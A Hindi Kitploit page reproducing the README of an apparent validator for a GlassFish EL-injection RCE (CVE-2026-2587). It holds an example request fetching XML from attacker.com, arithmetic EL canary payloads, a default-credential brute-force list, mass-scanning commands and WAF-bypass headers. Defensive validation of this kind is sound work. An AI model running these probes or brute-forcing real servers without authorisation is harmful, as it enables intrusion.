Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 PoC validator for Eclipse GlassFish EL Injection RCE in the admin console gadget.jsf handler. Safe authenticated vulnerability scanner for authorized testing. | Kitploit
उपकरण/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
भेद्यता स्कैनरगतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 PoC validator for Eclipse GlassFish EL Injection RCE in the admin console gadget.jsf handler. Safe authenticated vulnerability scanner for authorized testing.

रिपॉजिटरी देखेंवेबसाइट
163 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-2587 Exploit PoC — Eclipse GlassFish EL इंजेक्शन RCE सत्यापक

CVE-2026-2587 के लिए सुरक्षित PoC सत्यापक, Eclipse GlassFish एडमिन कंसोल गैजेट हैंडलिंग में एक गंभीर EL इंजेक्शन / RCE समस्या से संबंधित है, विशेष रूप से /common/gadgets/gadget.jsf के माध्यम से।

यह उपकरण सुरक्षा टीमों को एक सौम्य अंकगणितीय EL कैनरी का उपयोग करके अधिकृत वातावरणों में GlassFish CVE-2026-2587 के जोखिम को सत्यापित करने में मदद करता है।

नियुक्तकर्ता: Eclipse Foundation (CNA) · प्रकाशित: 19 मई, 2026 CVSS: 9.6 Critical · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE-917 — एक्सप्रेशन लैंग्वेज इंजेक्शन (21 मई, 2026 तक सार्वजनिक सलाहकार में) (21 मई, 2026 तक सार्वजनिक सलाहकार में) संस्करण केवल रूटिंग/रिपोर्टिंग संदर्भ है; निर्णय के लिए प्रमाण आवश्यक है।

CWE:
प्रभावित संस्करण:
अज्ञात
पैच किए गए संस्करण:
अज्ञात
स्कैनर नियम:

विषय सूची

  • भेद्यता सारांश
  • यह कैसे काम करता है
  • प्रमाणीकरण आवश्यकताएँ
  • सेटअप
  • प्रयोगशाला वातावरण (Docker)
  • प्रोब XML उत्पन्न करना
  • उपयोग — एकल लक्ष्य
    • Localhost / Docker
    • क्रेडेंशियल्स
    • ब्रूट-फोर्स लॉगिन
    • Cloudflare टनल के माध्यम से रिमोट
    • पूर्व-होस्टेड स्टैटिक XML
    • ngrok के माध्यम से रिमोट (अंतिम विकल्प)
    • केवल अप्रमाणित जाँच
  • उपयोग — एकाधिक लक्ष्य
    • लक्ष्य फ़ाइल प्रारूप
    • समानांतर स्कैनिंग
  • आउटपुट प्रारूप
    • कंसोल
    • CSV
    • JSON
    • आउटपुट संयोजन
  • उन्नत विकल्प
    • एंडपॉइंट और संस्करण खोज
    • कस्टम कैनरी मान
    • कस्टम हेडर
  • परीक्षण मामले
  • आउटपुट व्याख्या
  • मैन्युअल सत्यापन
  • उपचार
  • संदर्भ
  • अस्वीकरण

Vulnerability Summary

एक गंभीर रिमोट कोड निष्पादन भेद्यता GlassFish एडमिन कंसोल गैजेट हैंडलर में मौजूद है। एप्लिकेशन gadget= क्वेरी पैरामीटर के माध्यम से प्राप्त URL से .xml फ़ाइलों को प्रोसेस करता है और Java Expression Language (EL) इंजन के माध्यम से बिना सैनिटाइजेशन या एस्केपिंग के <ModulePrefs> विशेषताओं के अंदर उपयोगकर्ता-द्वारा प्रदान किए गए मानों का मूल्यांकन करता है।``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

root@kitploit:~
यदि XML में किसी `<ModulePrefs title="">` गुण में `#{7*7}` है, तो GlassFish इसे सर्वर-साइड मूल्यांकित करता है और `49` लौटाता है — EL निष्पादन की पुष्टि करता है। EL के Java रनटाइम तक पहुँच के माध्यम से एक पूर्ण RCE श्रृंखला का अनुसरण होता है।

वर्तमान सार्वजनिक सलाहकार रिकॉर्ड किसी प्रभावित या पैच किए गए संस्करण सीमा को प्रकाशित नहीं करते हैं। यह वैलिडेटर इसलिए प्रमाण-प्रथम है: यह GlassFish को फ़िंगरप्रिंट करता है और संस्करण मेटाडेटा रिपोर्ट करता है, लेकिन यह केवल संस्करण स्ट्रिंग से किसी लक्ष्य को संवेदनशील के रूप में वर्गीकृत नहीं करता है।

---

## यह कैसे काम करता है

![CVE-2026-2587 के लिए सुरक्षित सत्यापन कार्यप्रवाह](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

सुरक्षित सत्यापन पथ एक हानिरहित XML प्रोब होस्ट करता है, `gadget.jsf` पर एक प्रमाणित एडमिन-कंसोल अनुरोध भेजता है, GlassFish को कॉलबैक URL से उस XML को लाने देता है, और जाँचता है कि क्या `<ModulePrefs title="">` कैनरी `#{7*7}` से `49` का मूल्यांकन करता है।

**इंजेक्शन बिंदु पुष्टि बनाम नहीं:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

प्रमाणीकरण आवश्यकताएँ

परिदृश्यक्या प्रमाणीकरण आवश्यक है?
gadget.jsf पर सीधा प्रहारहाँ — FORM प्रमाणीकरण, 200 लॉगिन पृष्ठ
वास्तविक दुनिया का CSRF हमलानहीं — प्रशासक के सक्रिय सत्र को हथियार बनाता है
यह वैलिडेटरहाँ — --cookie या --username/--password
अप्रमाणित एक्सपोज़र जाँचनहीं — स्क्रिप्ट स्वचालित रूप से इसका परीक्षण करती है

CVSS वेक्टर PR:N / UI:R का अर्थ है:

  • PR:N — हमलावर को अपने स्वयं के क्रेडेंशियल्स की आवश्यकता नहीं है
  • UI:R — एक लॉग-इन प्रशासक को बातचीत करनी चाहिए (CSRF वितरण)

लैब सत्यापन के लिए, CSRF को पूरी तरह से छोड़ें — सीधे अपने स्वयं के प्रशासक सत्र का उपयोग करें।


सेटअप

आवश्यकताएँ: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

root@kitploit:~
**रिपॉजिटरी सामग्री:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

लैब वातावरण (Docker)

चेतावनी: GHSA अभी भी प्रभावित और पैच किए गए संस्करणों को अज्ञात के रूप में सूचीबद्ध करता है। omnifish/glassfish:7.0.15 एक मजबूत लैब उम्मीदवार है — यह गारंटीकृत असुरक्षित बिल्ड नहीं है। वैलिडेशन प्रिमिटिव अंकगणितीय कैनरी बना हुआ है: यदि #{7*7} का मान 49 है, तो EL सक्रिय है।

विकल्प A — docker compose (अनुशंसित)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

root@kitploit:~
GlassFish 7.0.15 को केवल `127.0.0.1` पर बंदरगाहों के साथ और `host.docker.internal` पूर्व-वायर्ड के साथ लाता है ताकि कंटेनर आपके स्थानीय XML सर्वर तक पहुँच सके।

### विकल्प B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

प्रशासक कंसोल: https://localhost:4848 · लॉगिन: admin / admin (स्व-हस्ताक्षरित प्रमाणपत्र — ब्राउज़र चेतावनी अपेक्षित है।)


सौम्य प्रोब XML प्रस्तुत करें

दूसरे टर्मिनल में:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

root@kitploit:~
कंटेनर के दृष्टिकोण से पहुँच की पुष्टि करें:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

मैन्युअल ट्रिगर

पहले एडमिन कंसोल में लॉग इन करें (ब्राउज़र सत्र या --cookie), फिर:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

root@kitploit:~
| आउटपुट | अर्थ |
|---|---|
| `CVE2587_TITLE_49_END` | **असुरक्षित** — EL का मूल्यांकन `ModulePrefs title` में किया गया |
| `CVE2587_BODY_49_END` | **असुरक्षित** — EL का मूल्यांकन CDATA बॉडी में किया गया |
| `CVE2587_TITLE_#{7*7}_END` | असुरक्षित नहीं / EL का मूल्यांकन नहीं किया गया |
| *(कोई आउटपुट नहीं)* | GlassFish ने कभी XML प्राप्त नहीं किया — कॉलबैक पहुंच क्षमता जांचें |

> CDATA बॉडी आमतौर पर असुरक्षित बिल्ड पर भी कच्ची रहती है; एक सकारात्मक `TITLE` परिणाम अकेला निष्कर्ष की पुष्टि करने के लिए पर्याप्त है।

### स्थानीय प्रयोगशाला के विरुद्ध स्वचालित सत्यापन```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

प्रोब XML उत्पन्न करना

रिपॉजिटरी उपयोग के लिए तैयार probe.xml के साथ आती है। आप किसी भी समय एक नया प्रोब भी उत्पन्न कर सकते हैं — यह तब उपयोगी होता है जब आप एक कस्टम कैनरी उपसर्ग या यादृच्छिक मान चाहते हैं ताकि प्रोब प्रति सहभागिता अद्वितीय हो।```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

root@kitploit:~
फ़ाइल में लिखने के बाद आउटपुट:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

उपयोग — एकल लक्ष्य

लोकलहोस्ट / डॉकर

जब GlassFish उसी मशीन पर लोकलहोस्ट या डॉकर में चल रहा हो तब उपयोग करें।

प्रशासन कंसोल में लॉग इन करते समय अपना JSESSIONID ब्राउज़र DevTools → Application → Cookies से प्राप्त करें, फिर:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

Localhost (no Docker)

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `host.docker.internal` Docker के अंदर से होस्ट मशीन पर रिज़ॉल्व होता है।
> GlassFish कंटेनर इस पते के माध्यम से आपका प्रोब XML प्राप्त करता है।

---

### प्रमाण-पत्र```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

यदि फ़ॉर्म लॉगिन विफल होता है, तो स्क्रिप्ट आगे बढ़कर एंडपॉइंट को आज़माती है। यदि वह भी विफल होता है, तो यह सत्र कुकी प्राप्त करने के लिए चरण-दर-चरण निर्देश प्रिंट करता है।


ब्रूट-फ़ोर्स लॉगिन

जब आपके पास कोई क्रेडेंशियल नहीं है, तो --brute क्रम में 21 सामान्य GlassFish डिफ़ॉल्ट क्रेडेंशियल जोड़े आज़माता है और पहले सफल जोड़े का उपयोग करता है। --username और --cookie के साथ परस्पर अनन्य है।```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose

root@kitploit:~
यदि कोई मान्य जोड़ी मिलती है तो इसे आउटपुट में मुद्रित किया जाता है और CSV `brute_creds` कॉलम में रिकॉर्ड किया जाता है। यदि सभी जोड़ियाँ विफल हो जाती हैं तो स्कैन `AUTH_REQUIRED` के साथ बाहर निकल जाता है।

कुछ GlassFish बिल्ड एक वैध form POST के बाद `/login.jsf` लौटाते हैं। वैलिडेटर उस URL को अकेले विफलता नहीं मानता; यह एडमिन गैजेट एंडपॉइंट को प्रोब करके और यह जाँच करके सत्र की पुष्टि करता है कि प्रतिक्रिया लॉगिन फॉर्म नहीं है।

प्रयास की गई क्रेडेंशियल सूची (क्रम में):

| Username | Password |
|---|---|
| `admin` | `admin` |
| `admin` | *(empty)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### क्लाउडफ्लेयर टनल के माध्यम से रिमोट

त्वरित टनल के लिए किसी खाते की आवश्यकता नहीं है।

**चरण 1 — cloudflared स्थापित करें:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

चरण 2 — टनल प्रारंभ करें:```bash

Terminal 1

cloudflared tunnel --url http://localhost:8000

→ https://random-words.trycloudflare.com

root@kitploit:~
**चरण 3 — वैलिडेटर चलाएँ:**

कॉलबैक URL के लिए `http://` के साथ उसी जनरेटेड होस्टनेम का उपयोग करें। इससे GlassFish लैब कंटेनरों में JVM ट्रस्ट-स्टोर विफलताओं से बचा जा सकता है, जो Cloudflare TLS प्रमाणपत्र श्रृंखला को मान्य नहीं कर सकते। यदि आप जनरेटेड `https://` trycloudflare URL चिपकाते हैं, तो वैलिडेटर उस कॉलबैक को `http://` में बदल देता है और एक चेतावनी प्रिंट करता है। अंतिम स्लैश वैकल्पिक है; वैलिडेटर स्वचालित रूप से `/canary.xml` और परीक्षण-वार XML पथ जोड़ता है।```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

पूर्व-होस्टेड स्थैतिक XML

इसका उपयोग तब करें जब आप स्थानीय सर्वर नहीं चला सकते। लक्ष्य GlassFish JVM को इस URL को सीधे प्राप्त करने में सक्षम होना चाहिए, इसलिए एक विश्वसनीय VPS/वेब सर्वर पर सादा HTTP अक्सर उन HTTPS होस्टों की तुलना में अधिक विश्वसनीय होता है जिनकी प्रमाणपत्र श्रृंखला लक्ष्य JVM द्वारा विश्वसनीय नहीं होती है। --xml-url फ़्लैग बिल्ट-इन सर्वर को पूरी तरह से बायपास करता है।

एक नया प्रोब XML उत्पन्न करें, फिर उसे होस्ट करें:```bash

Step 1 — generate

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Step 2 — host it (pick one)

python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server

Step 3 — run (use the --prefix/--left/--right from the generate output)

python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `--prefix`, `--left`, `--right` को आपकी होस्ट की गई XML फ़ाइल के अंदर के मानों से मेल खाना चाहिए, ताकि स्क्रिप्ट को पता चले कि प्रतिक्रिया में किस मूल्यांकित टोकन को देखना है।

---

### ngrok के माध्यम से रिमोट एक्सेस (अंतिम विकल्प)

ngrok का उपयोग केवल रिमोट लक्ष्यों के लिए अंतिम विकल्प के रूप में करें। फ्री टियर एक मध्यवर्ती HTML चेतावनी पृष्ठ लौटाकर उन सर्वर-साइड फ़ेच को ब्लॉक कर सकता है जो ब्राउज़र से नहीं आते हैं। उस स्थिति में GlassFish आपके `probe.xml` के बजाय चेतावनी पृष्ठ लाता है, और वैलिडेटर प्रतिक्रिया को लॉगिन पृष्ठ या अनिर्णायक परिणाम के रूप में वर्गीकृत कर सकता है। Cloudflare Tunnel, VPS, या कोई स्टैटिक वेब होस्ट पसंद करें जिसे लक्ष्य JVM बिना किसी रुकावट के ला सके, जब तक कि आपके पास भुगतान वाला ngrok खाता न हो जो इस प्रतिबंध को हटा देता है।

**चरण 1 — ngrok स्थापित करें:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

चरण 2 — अपने स्थानीय सर्वर को एक्सपोज़ करें:```bash

Terminal 1

ngrok http 8000

→ Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000

root@kitploit:~
**चरण 3 — मान्यकर्ता चलाएँ:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

अपने वास्तविक ngrok URL से abc123.ngrok-free.app को बदलें। स्क्रिप्ट :8000 पर अपना XML सर्वर शुरू करती है; ngrok इंटरनेट से उस पर अग्रेषित करता है।


केवल अप्रमाणित जाँच

पूर्ण प्रमाणित स्कैन करने से पहले जाँच करें कि क्या एंडपॉइंट बिना प्रमाणीकरण के गलती से उजागर हो गया है। चरण 1 के तुरंत बाद बाहर निकलता है।```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure

root@kitploit:~
## उपयोग — एकाधिक लक्ष्य

### लक्ष्य फ़ाइल प्रारूप

रिपॉज़िटरी में एक टेम्पलेट के रूप में `targets.txt.example` शामिल है। इसे कॉपी करें और संपादित करें:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

प्रारूप — प्रति पंक्ति एक लक्ष्य, # से शुरू होने वाली पंक्तियाँ और खाली पंक्तियाँ अनदेखा की जाती हैं, प्रति-लक्ष्य क्रेडेंशियल्स वैश्विक --username/--password को ओवरराइड करते हैं:```

targets.txt

format: URL

https://server1:4848

format: URL username password

https://server2:4848 admin password123 https://server3:4848 ops secret99

format: URL username:password

https://server4:4848 admin:admin

commented-out targets are skipped

https://server5:4848

root@kitploit:~
सभी लक्ष्यों के विरुद्ध चलाएँ:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

वैश्विक --username/--password उन लक्ष्यों पर लागू होता है जिनमें प्रति-पंक्ति क्रेडेंशियल नहीं हैं। प्रति-पंक्ति क्रेडेंशियल वैश्विक पर प्राथमिकता लेते हैं।


समानांतर स्कैनिंग

एक साथ कई लक्ष्यों को स्कैन करने के लिए --threads का उपयोग करें। बिल्ट-इन XML सर्वर सभी थ्रेड्स में साझा किया जाता है।```bash

Scan 10 targets at once

python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json

root@kitploit:~
> अनुशंसित थ्रेड संख्या:
> - स्थानीय प्रयोगशाला: अधिकतम `10`
> - इंटरनेट पर दूरस्थ लक्ष्य: `3–5` (दर सीमाओं का सम्मान करें)
> - एकल लक्ष्य: `1` (डिफ़ॉल्ट)

---

## आउटपुट प्रारूप

### कंसोल

डिफ़ॉल्ट मानव-पठनीय आउटपुट। प्रति-परीक्षण-मामले परिणाम देखने के लिए `--verbose` जोड़ें।```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

बहु-लक्ष्य सारांश:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════

root@kitploit:~
### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

CSV कॉलम:

कॉलमविवरण
targetलक्ष्य URL
timestampUTC ISO-8601 स्कैन समय
verdictVULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR
vulnerable_countपरीक्षण मामलों की संख्या जिन्होंने EL मूल्यांकन की पुष्टि की
total_testsचलाए गए कुल परीक्षण मामले
unauth_exposedYES यदि एंडपॉइंट बिना प्रमाणीकरण के उत्तर देता है
active_endpointपरीक्षण के लिए उपयोग किया गया एंडपॉइंट URL
server_headerGlassFish से Server: हेडर
detected_versionयदि फिंगरप्रिंट किया गया तो संस्करण स्ट्रिंग
version_sourceसंस्करण मान का स्रोत: हेडर, REST/लॉगिन पृष्ठ, या asadmin-api
version_affectedसलाहकार संस्करण स्थिति। वर्तमान में UNKNOWN क्योंकि सार्वजनिक प्रभावित/पैच की गई श्रेणियाँ प्रकाशित नहीं हैं
admin_consolepresent, not_found, या unknown
gadget_endpointpresent, blocked, not_found, या unknown
proofevaluated, not_evaluated, या not_attempted
TC-01 … TC-10प्रति-परीक्षण परिणाम: VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED

उदाहरण पंक्तियाँ:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired

root@kitploit:~
---

### JSON```bash
--json

एकल लक्ष्य:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }

root@kitploit:~
एकाधिक लक्ष्य JSON ऐरे लौटाता है।

---

### आउटपुट का संयोजन

सभी आउटपुट प्रारूप स्वतंत्र हैं — स्वतंत्र रूप से संयोजित करें:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

उन्नत विकल्प

एंडपॉइंट और संस्करण खोज

डिफ़ॉल्ट रूप से स्कैनर साझा GlassFish गैजेट पथ का परीक्षण करता है सामान्य एडमिन GUI रूट्स के तहत:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf

root@kitploit:~
यह रीडायरेक्ट `Location` हेडर से एक गैर-डिफ़ॉल्ट GUI संदर्भ रूट सीखता है और परीक्षण से पहले उस रूट को जोड़ता है। इस खोज सूची को ओवरराइड करने के लिए केवल तभी दोहराए जाने योग्य `--path` मानों का उपयोग करें जब आप ऐसा करना चाहते हैं।

संस्करण का पता लगाने का प्रयास प्रतिक्रिया हेडर, प्रबंधन REST API, लॉगिन पेज, और सफल लॉगिन के बाद, `/__asadmin/version.json` या `/__asadmin/version` से किया जाता है। संस्करण डेटा केवल रूटिंग और रिपोर्टिंग में सुधार करता है; स्कैनर `version_affected` को `UNKNOWN` के रूप में छोड़ देता है जब तक कि सार्वजनिक सलाहकार रिकॉर्ड एक संस्करण सीमा प्रकाशित नहीं करते।

---

### कस्टम कैनरी मान

`--prefix`, `--left`, `--right` का उपयोग करके वैलिडेटर को हाथ से बनाए गए XML से मिलाएँ। अपनी स्वयं की होस्ट की गई फ़ाइल के साथ `--xml-url` का उपयोग करते समय आवश्यक है।```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

कस्टम हेडर

मनमाना हेडर जोड़ें — WAF बाईपास, लोड बैलेंसर रूटिंग, या रिवर्स प्रॉक्सी के पीछे परीक्षण के लिए उपयोगी।```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure

root@kitploit:~
---

## परीक्षण के मामले

वैलिडेटर 10 अलग-अलग EL प्रोब चलाता है, प्रत्येक एक अलग क्षमता की पुष्टि करता है:

| # | पेलोड | अपेक्षित | यह क्या साबित करता है |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | बेसलाइन अंकगणित कैनरी |
| TC-02 | `#{1337+2587}` | `3924` | जोड़ ऑपरेटर |
| TC-03 | `#{31337*271}` | `8492327` | कोलिज़न-प्रतिरोधी बड़ा गुणा |
| TC-04 | `#{9999-1337}` | `8662` | घटाव ऑपरेटर |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | नेस्टेड कोष्ठक / ऑपरेटर प्राथमिकता |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | सशर्त / टर्नरी — नियंत्रण प्रवाह निष्पादित होता है |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | स्ट्रिंग मेथड एक्सेस |
